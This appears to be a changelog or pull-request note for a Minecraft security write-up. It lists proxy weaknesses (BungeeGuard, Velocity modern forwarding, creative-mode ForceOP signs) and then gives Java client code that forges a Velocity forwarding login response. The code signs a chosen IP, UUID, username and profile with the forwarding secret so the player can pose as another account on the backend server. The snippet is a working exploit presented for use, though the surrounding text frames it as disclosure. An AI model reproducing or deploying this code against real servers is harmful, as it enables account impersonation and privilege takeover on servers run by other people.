Adds more information about some exploits and unkown stuff

[SolsticeSpectrum]

• Changes color for the saw-tooth image for better readability
• Informs about vulnerability present in BungeeGaurd (I can't detail it now as it's currently a private exploit)
• Velocity's moder forwarding can be bypassed in similar way as BungeeCord (it is just bit harder because the crafted packets are more complex)
• Informs about Creative and it's dangers
• ForceOP signs given creative are still relevant even in modern Minecraft (eg. 1.21) in both Spigot and Paper

As for the modern forwarding spoof, it can be done by crafting special query request packet

        if (packet.getChannel().equals(VELOCITY_CHANNEL) && spoof.isActive()) {
            int requestedForwardingVersion = 1;
            if (packet.getPayload().readableBytes() == 1) requestedForwardingVersion = packet.getPayload().readByte();

            String ip = spoof.getIP();
            byte[] secret = spoof.forwardingSecret.get().getBytes();
            ProfileResponse profile = spoof.getProfile();

            PacketByteBuf buf = new PacketByteBuf(Unpooled.buffer());
            int actualVersion = findForwardingVersion(requestedForwardingVersion);
            buf.writeVarInt(actualVersion);
            buf.writeString(ip);
            buf.writeUuid(profile.getId());
            buf.writeString(spoof.username.get());
            writeProperties(buf, profile.getProperties());

            try {
                SecretKey key = new SecretKeySpec(secret, "HmacSHA256");
                Mac mac = Mac.getInstance("HmacSHA256");
                mac.init(key);
                mac.update(buf.array(), buf.arrayOffset(), buf.readableBytes());
                byte[] sig = mac.doFinal();
                connection.send(new LoginQueryResponseC2SPacket(packet.getQueryId(),
                        new PacketByteBuf(Unpooled.wrappedBuffer(Unpooled.wrappedBuffer(sig), buf))));
                ci.cancel();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
